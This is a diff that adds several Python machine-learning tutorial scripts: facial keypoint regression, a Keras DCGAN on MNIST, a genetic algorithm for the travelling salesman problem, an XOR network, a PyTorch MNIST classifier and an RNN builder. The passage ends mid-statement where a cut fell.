+def show_keypoints(image, predicted_keypoints, true_keypoints):
+    predicted_keypoints = untransform(predicted_keypoints)
+    true_keypoints = untransform(true_keypoints)
+    plt.imshow(np.squeeze(image), cmap="gray")
+    plt.scatter(predicted_keypoints[:, 0], predicted_keypoints[:, 1], s=20, marker=".", c="m")
+    plt.scatter(true_keypoints[:, 0], true_keypoints[:, 1], s=20, marker=".", c="g")
+    plt.show()
+
+
+def untransform(keypoints):
+    return keypoints *224
+
+
+# # construct the model
+model = create_mobilenet_model((*IMAGE_SIZE, 3), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1])
+
+model.load_weights("results/model_smoothl1_mobilenet_crop.h5")
+
+X_test, y_test = load_data(testing_file)
+y_test = y_test.reshape(-1, *OUTPUT_SHAPE)
+
+y_pred = get_predictions(model, X_test)
+print(y_pred[0])
+print(y_pred.shape)
+print(y_test.shape)
+print(X_test.shape)
+
+for i in range(50):
+    show_keypoints(X_test[i+400], y_pred[i+400], y_test[i+400])
+
+
+
+
+import numpy as np
+import pandas as pd
+import matplotlib.pyplot as plt
+
+from sklearn.preprocessing import MinMaxScaler
+from tqdm import tqdm
+# from tensorflow.keras.layers import Conv2D, Dense, MaxPooling2D
+from tensorflow.keras.callbacks import TensorBoard, ModelCheckpoint
+
+
+import os
+
+from models import create_model, create_mobilenet_model
+from parameters import IMAGE_SIZE, BATCH_SIZE, EPOCHS, OUTPUT_SHAPE, training_file, testing_file
+from utils import load_data
+
+# # read the training dataframe
+# training_df = pd.read_csv("data/training_frames_keypoints.csv")
+
+# # print the number of images available in the training dataset
+# print("Number of images in training set:", training_df.shape[0])
+
+def show_keypoints(image, key_points):
+    # show the image
+    plt.imshow(image)
+    # use scatter() to plot the keypoints in the faces
+    plt.scatter(key_points[:, 0], key_points[:, 1], s=20, marker=".")
+    plt.show()
+
+# show an example image
+# n = 124
+# image_name = training_df.iloc[n, 0]
+# keypoints = training_df.iloc[n, 1:].values.reshape(-1, 2)
+# show_keypoints(mpimg.imread(os.path.join("data", "training", image_name)), key_points=keypoints)
+
+model_name = "model_smoothl1_mobilenet_crop"
+
+# construct the model
+model = create_mobilenet_model((*IMAGE_SIZE, 3), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1])
+
+# model.load_weights("results/model3.h5")
+
+X_train, y_train = load_data(training_file, to_gray=False)
+X_test, y_test = load_data(testing_file, to_gray=False)
+
+if not os.path.isdir("results"):
+    os.mkdir("results")
+
+tensorboard = TensorBoard(log_dir=os.path.join("logs", model_name))
+# checkpoint = ModelCheckpoint(os.path.join("results", model_name), save_best_only=True, verbose=1)
+
+history = model.fit(X_train, y_train,
+                    batch_size=BATCH_SIZE,
+                    epochs=EPOCHS,
+                    validation_data=(X_test, y_test),
+                    # callbacks=[tensorboard, checkpoint],
+                    callbacks=[tensorboard],
+                    verbose=1)
+
+
+model.save("results/" + model_name + ".h5")
+
+
+
+
+import numpy as np
+import pandas as pd
+import matplotlib.image as mpimg
+import matplotlib.pyplot as plt
+import cv2
+from tqdm import tqdm
+
+
+import os
+
+from parameters import IMAGE_SIZE, OUTPUT_SHAPE
+
+
+def show_keypoints(image, predicted_keypoints, true_keypoints=None):
+    # predicted_keypoints = untransform(predicted_keypoints)        
+    plt.imshow(image, cmap="gray")
+    plt.scatter(predicted_keypoints[:, 0], predicted_keypoints[:, 1], s=20, marker=".", c="m")
+    if true_keypoints is not None:
+        # true_keypoints = untransform(true_keypoints)
+        plt.scatter(true_keypoints[:, 0], true_keypoints[:, 1], s=20, marker=".", c="g")
+    plt.show()
+
+
+def resize_image(image, image_size):
+    return cv2.resize(image, image_size)
+
+
+def random_crop(image, keypoints):
+    h, w = image.shape[:2]
+    new_h, new_w = IMAGE_SIZE
+    keypoints = keypoints.reshape(-1, 2)
+    try:
+        top = np.random.randint(0, h - new_h)
+        left = np.random.randint(0, w - new_w)
+    except ValueError:
+        return image, keypoints
+    image = image[top: top + new_h, left: left + new_w]
+    keypoints = keypoints - [left, top]
+    
+    return image, keypoints
+
+
+def normalize_image(image, to_gray=True):
+    if image.shape[2] == 4:
+        # if the image has an alpha color channel (opacity)
+        # let's just remove it
+        image = image[:, :, :3]
+    # get the height & width of image
+    h, w = image.shape[:2]
+    new_h, new_w = IMAGE_SIZE
+    new_h, new_w = int(new_h), int(new_w)
+
+    # scaling the image to that IMAGE_SIZE
+    # image = cv2.resize(image, (new_w, new_h))
+    image = resize_image(image, (new_w, new_h))
+    if to_gray:
+        # convert image to grayscale
+        image = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY)
+    # normalizing pixels from the range [0, 255] to [0, 1]
+    image = image / 255.0
+    if to_gray:
+        image = np.expand_dims(image, axis=2)
+    return image
+
+
+
+def normalize_keypoints(image, keypoints):
+    # get the height & width of image
+    h, w = image.shape[:2]
+    # reshape to coordinates (x, y)
+    # i.e converting a vector of (136,) to the 2D array (68, 2)
+    new_h, new_w = IMAGE_SIZE
+    new_h, new_w = int(new_h), int(new_w)
+    keypoints = keypoints.reshape(-1, 2)
+    # scale the keypoints also
+    keypoints = keypoints * [new_w / w, new_h / h]
+    keypoints = keypoints.reshape(-1)
+    # normalizing keypoints from [0, IMAGE_SIZE] to [0, 1] (experimental)
+    keypoints = keypoints / 224
+    # keypoints = (keypoints - 100) / 50
+    return keypoints
+
+def normalize(image, keypoints, to_gray=True):
+    image, keypoints = random_crop(image, keypoints)
+    return normalize_image(image, to_gray=to_gray), normalize_keypoints(image, keypoints)
+
+def load_data(csv_file, to_gray=True):
+    # read the training dataframe
+    df = pd.read_csv(csv_file)
+    all_keypoints = np.array(df.iloc[:, 1:])
+    image_names = list(df.iloc[:, 0])
+    # load images
+    X, y = [], []
+    X = np.zeros((len(image_names), *IMAGE_SIZE, 3), dtype="float32")
+    y = np.zeros((len(image_names), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1]))
+    for i, (image_name, keypoints) in enumerate(zip(tqdm(image_names, "Loading " + os.path.basename(csv_file)), all_keypoints)):
+        image = mpimg.imread(os.path.join("data", "training", image_name))
+        image, keypoints = normalize(image, keypoints, to_gray=to_gray)
+        X[i] = image
+        y[i] = keypoints
+
+    return X, y
+
+
+
+
+"""
+DCGAN on MNIST using Keras
+"""
+# to use CPU
+import os
+
+# os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+# os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+# import tensorflow as tf
+
+# config = tf.ConfigProto(intra_op_parallelism_threads=5,
+#                         inter_op_parallelism_threads=5, 
+#                         allow_soft_placement=True,
+#                         device_count = {'CPU' : 1,
+#                                         'GPU' : 0}
+#                        )
+
+import numpy as np
+import matplotlib.pyplot as plt
+import tqdm
+import glob
+# from tensorflow.examples.tutorials.mnist import input_data
+
+from keras.models import Sequential
+from keras.layers import Dense, Activation, Flatten, Reshape
+from keras.layers import Conv2D, Conv2DTranspose, UpSampling2D
+from keras.layers import LeakyReLU, Dropout, BatchNormalization
+from keras.optimizers import Adam, RMSprop
+from keras.datasets import mnist
+
+class GAN:
+    def __init__(self, img_x=28, img_y=28, img_z=1):
+        self.img_x = img_x
+        self.img_y = img_y
+        self.img_z = img_z
+
+        self.D = None  # discriminator
+        self.G = None  # generator
+        self.AM = None # adversarial model
+        self.DM = None # discriminator model
+
+    def discriminator(self):
+        if self.D:
+            return self.D
+
+        self.D = Sequential()
+
+        depth = 64
+        dropout = 0.4
+        input_shape = (self.img_x, self.img_y, self.img_z)
+
+        self.D.add(Conv2D(depth, 5, strides=2, input_shape=input_shape, padding="same"))
+        self.D.add(LeakyReLU(0.2))
+        self.D.add(Dropout(dropout))
+
+        self.D.add(Conv2D(depth*2, 5, strides=2, padding="same"))
+        self.D.add(LeakyReLU(0.2))
+        self.D.add(Dropout(dropout))
+
+        self.D.add(Conv2D(depth*4, 5, strides=2, padding="same"))
+        self.D.add(LeakyReLU(0.2))
+        self.D.add(Dropout(dropout))
+
+        self.D.add(Conv2D(depth*8, 5, strides=1, padding="same"))
+        self.D.add(LeakyReLU(0.2))
+        self.D.add(Dropout(dropout))
+
+        # convert to 1 dimension
+        self.D.add(Flatten())
+        self.D.add(Dense(1, activation="sigmoid"))
+        print("="*50, "Discriminator", "="*50)
+        self.D.summary()
+        return self.D
+
+    def generator(self):
+        if self.G:
+            return self.G
+
+        self.G = Sequential()
+        dropout = 0.4
+        # covnerting from 100 vector noise to dim x dim x depth
+        # (100,) to (7, 7, 256)
+        depth = 64 * 4
+        dim = 7
+        
+        self.G.add(Dense(dim*dim*depth, input_dim=100))
+        self.G.add(BatchNormalization(momentum=0.9))
+        self.G.add(Activation("relu"))
+        self.G.add(Reshape((dim, dim, depth)))
+        self.G.add(Dropout(dropout))
+
+        # upsampling to (14, 14, 128)
+        self.G.add(UpSampling2D())
+        self.G.add(Conv2DTranspose(depth // 2, 5, padding="same"))
+        self.G.add(BatchNormalization(momentum=0.9))
+        self.G.add(Activation("relu"))
+        self.G.add(Dropout(dropout))
+
+        # up to (28, 28, 64)
+        self.G.add(UpSampling2D())
+        self.G.add(Conv2DTranspose(depth // 4, 5, padding="same"))
+        self.G.add(BatchNormalization(momentum=0.9))
+        self.G.add(Activation("relu"))
+        self.G.add(Dropout(dropout))
+
+        # to (28, 28, 32)
+        self.G.add(Conv2DTranspose(depth // 8, 5, padding="same"))
+        self.G.add(BatchNormalization(momentum=0.9))
+        self.G.add(Activation("relu"))
+        self.G.add(Dropout(dropout))
+
+        # to (28, 28, 1) (img)
+        self.G.add(Conv2DTranspose(1, 5, padding="same"))
+        self.G.add(Activation("sigmoid"))
+        print("="*50, "Generator", "="*50)
+        self.G.summary()
+        return self.G
+
+    def discriminator_model(self):
+        if self.DM:
+            return self.DM
+        # optimizer = RMSprop(lr=0.001, decay=6e-8)
+        optimizer = Adam(0.0002, 0.5)
+        self.DM = Sequential()
+        self.DM.add(self.discriminator())
+        self.DM.compile(loss="binary_crossentropy", optimizer=optimizer, metrics=["accuracy"])
+        return self.DM
+
+    def adversarial_model(self):
+        if self.AM:
+            return self.AM
+        # optimizer = RMSprop(lr=0.001, decay=3e-8)
+        optimizer = Adam(0.0002, 0.5)
+        self.AM = Sequential()
+        self.AM.add(self.generator())
+        self.AM.add(self.discriminator())
+        self.AM.compile(loss="binary_crossentropy", optimizer=optimizer, metrics=["accuracy"])
+        return self.AM
+
+
+class MNIST:
+    def __init__(self):
+        self.img_x = 28
+        self.img_y = 28
+        self.img_z = 1
+
+        self.steps = 0
+
+        self.load_data()
+        self.create_models()
+
+        # used image indices
+        self._used_indices = set()
+
+    def load_data(self):
+        (self.X_train, self.y_train), (self.X_test, self.y_test) = mnist.load_data()
+        # reshape to (num_samples, 28, 28 , 1)
+        self.X_train = np.expand_dims(self.X_train, axis=-1)
+        self.X_test = np.expand_dims(self.X_test, axis=-1)
+
+    def create_models(self):
+        self.GAN = GAN()
+        self.discriminator = self.GAN.discriminator_model()
+        self.adversarial = self.GAN.adversarial_model()
+        self.generator = self.GAN.generator()
+        discriminators = glob.glob("discriminator_*.h5")
+        generators = glob.glob("generator_*.h5")
+        adversarial = glob.glob("adversarial_*.h5")
+        if len(discriminators) != 0:
+            print("[+] Found a discriminator ! Loading weights ...")
+            self.discriminator.load_weights(discriminators[0])
+        if len(generators) != 0:
+            print("[+] Found a generator ! Loading weights ...")
+            self.generator.load_weights(generators[0])
+        if len(adversarial) != 0:
+            print("[+] Found an adversarial model ! Loading weights ...")
+            self.steps = int(adversarial[0].replace("adversarial_", "").replace(".h5", ""))
+            self.adversarial.load_weights(adversarial[0])
+
+
+    def get_unique_random(self, batch_size=256):
+        indices = np.random.randint(0, self.X_train.shape[0], size=batch_size)
+        # in_used_indices = np.any([i in indices for i in self._used_indices])
+        # while in_used_indices:
+        #     indices = np.random.randint(0, self.X_train.shape[0], size=batch_size)
+        #     in_used_indices = np.any([i in indices for i in self._used_indices])
+        # self._used_indices |= set(indices)
+        # if len(self._used_indices) > self.X_train.shape[0] // 2:
+            # if used indices is more than half of training samples, clear it
+            # that is to enforce it to train at least more than half of the dataset uniquely
+            # self._used_indices.clear()
+        return indices
+        
+
+
+    def train(self, train_steps=2000, batch_size=256, save_interval=0):
+        noise_input = None
+        
+        steps = tqdm.tqdm(list(range(self.steps, train_steps)))
+        fake = np.zeros((batch_size, 1))
+        real = np.ones((batch_size, 1))
+        for i in steps:
+            real_images = self.X_train[self.get_unique_random(batch_size)]
+            # noise = np.random.uniform(-1.0, 1.0, size=(batch_size, 100))
+            noise = np.random.normal(size=(batch_size, 100))
+            fake_images = self.generator.predict(noise)
+            # get 256 real images and 256 fake images
+            d_loss_real = self.discriminator.train_on_batch(real_images, real)
+            d_loss_fake = self.discriminator.train_on_batch(fake_images, fake)
+            d_loss = 0.5 * np.add(d_loss_real, d_loss_fake)
+            # X = np.concatenate((real_images, fake_images))
+            # y = np.zeros((2*batch_size, 1))
+            # 0 for fake and 1 for real
+            # y[:batch_size, :] = 1
+
+            # shuffle
+            # shuffle_in_unison(X, y)
+
+            # d_loss = self.discriminator.train_on_batch(X, y)
+
+            # y = np.ones((batch_size, 1))
+            # noise = np.random.uniform(-1.0, 1.0, size=(batch_size, 100))
+            # fool the adversarial, telling him everything is real
+            a_loss = self.adversarial.train_on_batch(noise, real)
+            log_msg = f"[D loss: {d_loss[0]:.6f}, D acc: {d_loss[1]:.6f} | A loss: {a_loss[0]:.6f}, A acc: {a_loss[1]:.6f}]"
+            steps.set_description(log_msg)
+
+            if save_interval > 0:
+                noise_input = np.random.uniform(low=-1, high=1.0, size=(16, 100))
+                if (i + 1) % save_interval == 0:
+                    self.plot_images(save2file=True, samples=noise_input.shape[0], noise=noise_input, step=(i+1))
+                    self.discriminator.save(f"discriminator_{i+1}.h5")
+                    self.generator.save(f"generator_{i+1}.h5")
+                    self.adversarial.save(f"adversarial_{i+1}.h5")
+
+        
+    def plot_images(self, save2file=False, fake=True, samples=16, noise=None, step=0):
+        filename = "mnist_fake.png"
+        if fake:
+            if noise is None:
+                noise = np.random.uniform(-1.0, 1.0, size=(samples, 100))
+            else:
+                filename = f"mnist_{step}.png"
+            images = self.generator.predict(noise)
+        else:
+            i = np.random.randint(0, self.X_train.shape[0], samples)
+            images = self.X_train[i]
+            if noise is None:
+                filename = "mnist_real.png"
+
+        plt.figure(figsize=(10, 10))
+        for i in range(images.shape[0]):
+            plt.subplot(4, 4, i+1)
+            image = images[i]
+            image = np.reshape(image, (self.img_x, self.img_y))
+            plt.imshow(image, cmap="gray")
+            plt.axis("off")
+        plt.tight_layout()
+        if save2file:
+            plt.savefig(filename)
+            plt.close("all")
+        else:
+            plt.show()
+
+
+# https://stackoverflow.com/questions/4601373/better-way-to-shuffle-two-numpy-arrays-in-unison
+def shuffle_in_unison(a, b):
+    rng_state = np.random.get_state()
+    np.random.shuffle(a)
+    np.random.set_state(rng_state)
+    np.random.shuffle(b)
+
+
+if __name__ == "__main__":
+    mnist_gan = MNIST()
+    mnist_gan.train(train_steps=10000, batch_size=256, save_interval=500)
+    mnist_gan.plot_images(fake=True, save2file=True)
+    mnist_gan.plot_images(fake=False, save2file=True)
+
+
+
+
+import random
+import numpy as np
+import pandas as pd
+import operator
+import matplotlib.pyplot as plt
+from threading import Event, Thread
+
+
+class Individual:
+    def __init__(self, object):
+        self.object = object
+
+    def update(self, new):
+        self.object = new
+
+    def __repr__(self):
+        return self.object
+    
+    def __str__(self):
+        return self.object
+
+
+class GeneticAlgorithm:
+    """General purpose genetic algorithm implementation"""
+
+    def __init__(self, individual, popsize, elite_size, mutation_rate, generations, fitness_func, plot=True, prn=True, animation_func=None):
+        self.individual = individual
+        self.popsize = popsize
+        self.elite_size = elite_size
+        self.mutation_rate = mutation_rate
+        self.generations = generations
+        if not callable(fitness_func):
+            raise TypeError("fitness_func must be a callable object.")
+        self.get_fitness = fitness_func
+        self.plot = plot
+        self.prn = prn
+        self.population = self._init_pop()
+        self.animate = animation_func
+        
+    def calc(self):
+        """Try to find the best individual.
+        This function returns (initial_individual, final_individual, """
+        sorted_pop = self.sortpop()
+        initial_route = self.population[sorted_pop[0][0]]
+        distance = 1 / sorted_pop[0][1]
+        progress = [ distance ]
+        if callable(self.animate):
+            self.plot = True
+            individual = Individual(initial_route)
+            stop_animation = Event()
+            self.animate(individual, progress, stop_animation, plot_conclusion=initial_route)
+        else:
+            self.plot = False
+        if self.prn:
+            print(f"Initial distance: {distance}")
+        try:
+            if self.plot:
+                for i in range(self.generations):
+                    population = self.next_gen()
+                    sorted_pop = self.sortpop()
+                    distance = 1 / sorted_pop[0][1]
+                    progress.append(distance)
+                    if self.prn:
+                        print(f"[Generation:{i}] Current distance: {distance}")
+                    route = population[sorted_pop[0][0]]
+                    individual.update(route)
+            else:
+                for i in range(self.generations):
+                    population = self.next_gen()
+                    distance = 1 / self.sortpop()[0][1]
+                    if self.prn:
+                        print(f"[Generation:{i}] Current distance: {distance}")
+                    
+                    
+        except KeyboardInterrupt:
+            pass
+        try:
+            stop_animation.set()
+        except NameError:
+            pass
+        final_route_index = self.sortpop()[0][0]
+        final_route = population[final_route_index]
+        if self.prn:
+            print("Final route:", final_route)
+
+        return initial_route, final_route, distance
+
+    def create_population(self):
+        return random.sample(self.individual, len(self.individual))
+
+    def _init_pop(self):
+        return [ self.create_population() for i in range(self.popsize) ]
+
+    def sortpop(self):
+        """This function calculates the fitness of each individual in population
+        And returns a population sorted by its fitness in descending order"""
+        result = [ (i, self.get_fitness(individual)) for i, individual in enumerate(self.population) ]
+        return sorted(result, key=operator.itemgetter(1), reverse=True)
+
+    def selection(self):
+        sorted_pop = self.sortpop()
+        df = pd.DataFrame(np.array(sorted_pop), columns=["Index", "Fitness"])
+        df['cum_sum']  = df['Fitness'].cumsum()
+        df['cum_perc'] = 100 * df['cum_sum'] / df['Fitness'].sum()
+        result = [ sorted_pop[i][0] for i in range(self.elite_size) ]
+
+        for i in range(len(sorted_pop) - self.elite_size):
+            pick = random.random() * 100
+            for i in range(len(sorted_pop)):
+                if pick <= df['cum_perc'][i]:
+                    result.append(sorted_pop[i][0])
+                    break
+        return [ self.population[index] for index in result ]
+
+    def breed(self, parent1, parent2):
+        child1, child2 = [], []
+
+        gene_A = random.randint(0, len(parent1))
+        gene_B = random.randint(0, len(parent2))
+
+        start_gene = min(gene_A, gene_B)
+        end_gene   = max(gene_A, gene_B)
+
+        for i in range(start_gene, end_gene):
+            child1.append(parent1[i])
+        
+        child2 = [ item for item in parent2 if item not in child1 ]
+        return child1 + child2
+
+    def breed_population(self, selection):
+        pool = random.sample(selection, len(selection))
+        children = [selection[i] for i in range(self.elite_size)]
+        children.extend([self.breed(pool[i], pool[len(selection)-i-1]) for i in range(len(selection) - self.elite_size)])
+        return children
+
+    def mutate(self, individual):
+        individual_length = len(individual)
+        for swapped in range(individual_length):
+            if(random.random() < self.mutation_rate):
+                swap_with = random.randint(0, individual_length-1)
+                individual[swapped], individual[swap_with] = individual[swap_with], individual[swapped]
+        return individual
+
+    def mutate_population(self, children):
+        return [ self.mutate(individual) for individual in children ]
+
+    def next_gen(self):
+        selection = self.selection()
+        children = self.breed_population(selection)
+        self.population = self.mutate_population(children)
+        return self.population
+
+
+
+
+from genetic import plt
+from genetic import Individual
+from threading import Thread
+
+
+def plot_routes(initial_route, final_route):
+    _, ax = plt.subplots(nrows=1, ncols=2)
+
+    for col, route in zip(ax, [("Initial Route", initial_route), ("Final Route", final_route) ]):
+        col.title.set_text(route[0])
+        route = route[1]
+        for i, city in enumerate(route):
+            if i == 0:
+                col.text(city.x-5, city.y+5, "Start")
+                col.scatter(city.x, city.y, s=70, c='g')
+            else:
+                col.scatter(city.x, city.y, s=70, c='b')
+
+        col.plot([ city.x for city in route ], [city.y for city in route], c='r')
+        col.plot([route[-1].x, route[0].x], [route[-1].y, route[0].y], c='r')
+    
+    plt.show()
+
+
+def animate_progress(route, progress, stop_animation, plot_conclusion=None):
+        
+    def animate():
+        nonlocal route
+        _, ax1 = plt.subplots(nrows=1, ncols=2)
+        while True:
+            if isinstance(route, Individual):
+                target = route.object
+            ax1[0].clear()
+            ax1[1].clear()
+
+            # current routes and cities
+            ax1[0].title.set_text("Current routes")
+            
+            for i, city in enumerate(target):
+                if i == 0:
+                    ax1[0].text(city.x-5, city.y+5, "Start")
+                    ax1[0].scatter(city.x, city.y, s=70, c='g')
+                else:
+                    ax1[0].scatter(city.x, city.y, s=70, c='b')
+
+            ax1[0].plot([ city.x for city in target ], [city.y for city in target], c='r')
+            ax1[0].plot([target[-1].x, target[0].x], [target[-1].y, target[0].y], c='r')
+
+            # current distance graph
+            ax1[1].title.set_text("Current distance")
+            ax1[1].plot(progress)
+            ax1[1].set_ylabel("Distance")
+            ax1[1].set_xlabel("Generation")
+
+            plt.pause(0.05)
+            
+            if stop_animation.is_set():
+                break
+        plt.show()
+        if plot_conclusion:
+            initial_route = plot_conclusion
+            plot_routes(initial_route, target)
+
+    Thread(target=animate).start()
+
+
+
+
+import matplotlib.pyplot as plt
+import random
+import numpy as np
+import operator
+from plots import animate_progress, plot_routes
+
+
+class City:
+    def __init__(self, x, y):
+        self.x = x
+        self.y = y
+
+    def distance(self, city):
+        """Returns distance between self city and city"""
+        x = abs(self.x - city.x)
+        y = abs(self.y - city.y)
+        return np.sqrt(x ** 2 + y ** 2)
+
+    def __sub__(self, city):
+        return self.distance(city)
+
+    def __repr__(self):
+        return f"({self.x}, {self.y})"
+
+    def __str__(self):
+        return self.__repr__()
+
+
+def get_fitness(route):
+
+    def get_distance():
+        distance = 0
+        for i in range(len(route)):
+            from_city = route[i]
+            to_city = route[i+1] if i+1 < len(route) else route[0]
+            distance += (from_city - to_city)
+        return distance
+
+    return 1 / get_distance()
+
+
+def load_cities():
+    return [ City(city[0], city[1]) for city in [(169, 20), (103, 24), (41, 9), (177, 76), (138, 173), (163, 108), (93, 34), (200, 84), (19, 184), (117, 176), (153, 30), (140, 29), (38, 108), (89, 183), (18, 4), (174, 38), (109, 169), (93, 23), (156, 10), (171, 27), (164, 91), (109, 194), (90, 169), (115, 37), (177, 93), (169, 20)] ]
+
+
+def generate_cities(size):
+    cities = []
+    for i in range(size):
+        x = random.randint(0, 200)
+        y = random.randint(0, 200)
+
+        if 40 < x < 160:
+            if 0.5 <= random.random():
+                y = random.randint(0, 40)
+            else:
+                y = random.randint(160, 200)
+        elif 40 < y < 160:
+            if 0.5 <= random.random():
+                x = random.randint(0, 40)
+            else:
+                x = random.randint(160, 200)
+
+        cities.append(City(x, y))
+    return cities
+
+
+def benchmark(cities):
+    popsizes = [60, 80, 100, 120, 140]
+    elite_sizes = [5, 10, 20, 30, 40]
+    mutation_rates = [0.02, 0.01, 0.005, 0.003, 0.001]
+    generations = 1200
+
+    iterations = len(popsizes) * len(elite_sizes) * len(mutation_rates)
+    iteration = 0
+
+    gens = {}
+    
+    for popsize in popsizes:
+        for elite_size in elite_sizes:
+            for mutation_rate in mutation_rates:
+                iteration += 1
+                gen = GeneticAlgorithm(cities, popsize=popsize, elite_size=elite_size, mutation_rate=mutation_rate, generations=generations, fitness_func=get_fitness, prn=False)
+                initial_route, final_route, generation = gen.calc(ret=("generation", 755))
+                if generation == generations:
+                    print(f"[{iteration}/{iterations}] (popsize={popsize}, elite_size={elite_size}, mutation_rate={mutation_rate}): could not reach the solution")
+                else:
+                    print(f"[{iteration}/{iterations}] (popsize={popsize}, elite_size={elite_size}, mutation_rate={mutation_rate}): {generation} generations was enough")
+                if generation != generations:
+                    gens[iteration] = generation
+    # reversed_gen = {v:k for k, v in gens.items()}
+    output = sorted(gens.items(), key=operator.itemgetter(1))
+    for i, gens in output:
+        print(f"Iteration: {i} generations: {gens}")
+
+
+# [1] (popsize=60, elite_size=30, mutation_rate=0.001): 235 generations was enough
+# [2] (popsize=80, elite_size=20, mutation_rate=0.001): 206 generations was enough
+# [3] (popsize=100, elite_size=30, mutation_rate=0.001): 138 generations was enough
+# [4] (popsize=120, elite_size=30, mutation_rate=0.002): 117 generations was enough
+# [5] (popsize=140, elite_size=20, mutation_rate=0.003): 134 generations was enough
+
+# The notes:
+# 1.1 Increasing the mutation rate to higher rate, the curve will be inconsistent and it won't lead us to the optimal distance.
+# 1.2 So we need to put it as small as 1% or lower
+# 2. Elite size is likely to be about 30% or less of total population
+# 3. Generations depends on the other parameters, can be a fixed number, or until we reach the optimal distance.
+# 4. 
+    
+
+if __name__ == "__main__":
+    from genetic import GeneticAlgorithm
+    cities = load_cities()
+    # cities = generate_cities(50)
+    # parameters
+    popsize = 120
+    elite_size = 30
+    mutation_rate = 0.1
+    
+    generations = 400
+
+    gen = GeneticAlgorithm(cities, popsize=popsize, elite_size=elite_size, mutation_rate=mutation_rate, generations=generations, fitness_func=get_fitness, animation_func=animate_progress)
+    initial_route, final_route, distance = gen.calc()
+
+
+
+
+import tensorflow as tf
+import matplotlib.pyplot as plt
+from sklearn.model_selection import train_test_split
+from sklearn.utils import shuffle
+
+import re
+import numpy as np
+import os
+import time
+import json
+from glob import glob
+from PIL import Image
+import pickle
+
+
+
+
+import numpy as np
+from keras.utils import np_utils
+from tensorflow.keras.models import Sequential
+from tensorflow.keras.layers import Dense, Activation
+
+
+np.random.seed(19)
+
+X = np.array([[0,0],[0,1],[1,0],[1,1]]).astype('float32')
+y = np.array([[0],[1],[1],[0]]).astype('float32')
+
+y = np_utils.to_categorical(y)
+
+xor = Sequential()
+
+# add required layers
+xor.add(Dense(8, input_dim=2))
+
+# hyperbolic tangent function to the first hidden layer ( 8 nodes )
+xor.add(Activation("tanh"))
+
+xor.add(Dense(8))
+xor.add(Activation("relu"))
+# output layer
+xor.add(Dense(2))
+
+# sigmoid function to the output layer ( final )
+xor.add(Activation("sigmoid"))
+
+# Cross-entropy error function
+xor.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"])
+
+# show the summary of the model
+xor.summary()
+
+xor.fit(X, y, epochs=400, verbose=1)
+
+# accuray
+score = xor.evaluate(X, y)
+print(f"Accuracy: {score[-1]}")
+
+
+# Checking the predictions
+print("\nPredictions:")
+print(xor.predict(X))
+
+
+
+
+import torch
+import torchvision
+from torchvision import transforms, datasets
+import torch.nn as nn
+import torch.nn.functional as F
+import torch.optim as optim
+import matplotlib.pyplot as plt
+
+epochs = 3
+batch_size = 64
+
+# building the network now
+class Net(nn.Module):
+    def __init__(self):
+        super().__init__()
+        # takes 28x28 images
+        self.fc1 = nn.Linear(28*28, 64)
+        self.fc2 = nn.Linear(64, 64)
+        self.fc3 = nn.Linear(64, 64)
+        self.fc4 = nn.Linear(64, 10)
+
+    def forward(self, x):
+        x = F.relu(self.fc1(x))
+        x = F.relu(self.fc2(x))
+        x = F.relu(self.fc3(x))
+        x = self.fc4(x)
+        return F.log_softmax(x, dim=1)
+
+
+
+if __name__ == "__main__":
+    training_set = datasets.MNIST("", train=True, download=True,
+                            transform=transforms.Compose([
+                                transforms.ToTensor()
+                            ]))
+
+    test_set = datasets.MNIST("", train=False, download=True,
+                                transform=transforms.Compose([
+                                    transforms.ToTensor()
+                                ]))
+
+    # load the dataset
+    train = torch.utils.data.DataLoader(training_set, batch_size=batch_size, shuffle=True)
+    test = torch.utils.data.DataLoader(test_set, batch_size=batch_size, shuffle=False)
+    # construct the model
+    net = Net()
+    # specify the loss and optimizer
+    loss = nn.CrossEntropyLoss()
+    optimizer = optim.Adam(net.parameters(), lr=0.001)
+
+    # training the model
+    for epoch in range(epochs):
+        for data in train:
+            # data is the batch of data now
+            # X are the features, y are labels
+            X, y = data
+            net.zero_grad() # set gradients to 0 before loss calculation
+            output = net(X.view(-1, 28*28)) # feed data to the network
+            loss = F.nll_loss(output, y) # calculating the negative log likelihood
+            loss.backward() # back propagation
+            optimizer.step() # attempt to optimize weights to account for loss/gradients
+        print(loss)
+
+    correct = 0
+    total = 0
+    with torch.no_grad():
+        for data in test:
+            X, y = data
+            output = net(X.view(-1, 28*28))
+            for index, i in enumerate(output):
+                if torch.argmax(i) == y[index]:
+                    correct += 1
+                total += 1
+
+    print("Accuracy:", round(correct / total, 3))
+    # testing
+    print(torch.argmax(net(X.view(-1, 28*28))[0]))
+    plt.imshow(X[0].view(28, 28))
+    plt.show()
+
+
+
+
+from keras.models import Sequential
+from keras.layers import LSTM, Dropout, BatchNormalization, LeakyReLU, Dense, Activation, TimeDistributed
+from keras.layers import Bidirectional
+
+def rnn_model(input_dim, cell, num_layers, units, dropout, batch_normalization=True, bidirectional=True):
+    model = Sequential()
+    for i in range(num_layers):
+        if i == 0:
+            # first time, specify input_shape
+            if bidirectional:
+                model.add(Bidirectional(cell(units, input_shape=(None, input_dim), return_sequences=True)))
+            else:
+                model.add(cell(units, input_shape=(None, input_dim), return_sequences=True))
+            if batch_normalization:
+                model.add(BatchNormalization())
+            model.add(Dropout(dropout))
+            model.add(LeakyReLU(alpha=0.1))
+        else:
+            if bidirectional:
+                model.add(Bidirectional(cell(units, return_sequences=True)))
+            else:
+                model.add(cell(units, return_sequences=True))
+            if batch_normalization:
+                model.add(BatchNormalization())
+            model.add(Dropout(dropout))
+            model.add(LeakyReLU(alpha=0.1))
+
+    model.add(TimeDistributed(Dense(input_dim, activation="softmax")))
+
+    return model
+
+
+
+
+from utils import UNK, text_to_sequence, sequence_to_text
+from keras.preprocessing.sequence import pad_sequences
+from keras.layers import LSTM
+from models import rnn_model
+from scipy.ndimage.interpolation import shift
+import numpy as np
+
+# to use CPU
+import os
+os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+import tensorflow as tf
+
+config = tf.ConfigProto(intra_op_parallelism_threads=6,
+                        inter_op_parallelism_threads=6, 
+                        allow_soft_placement=True,
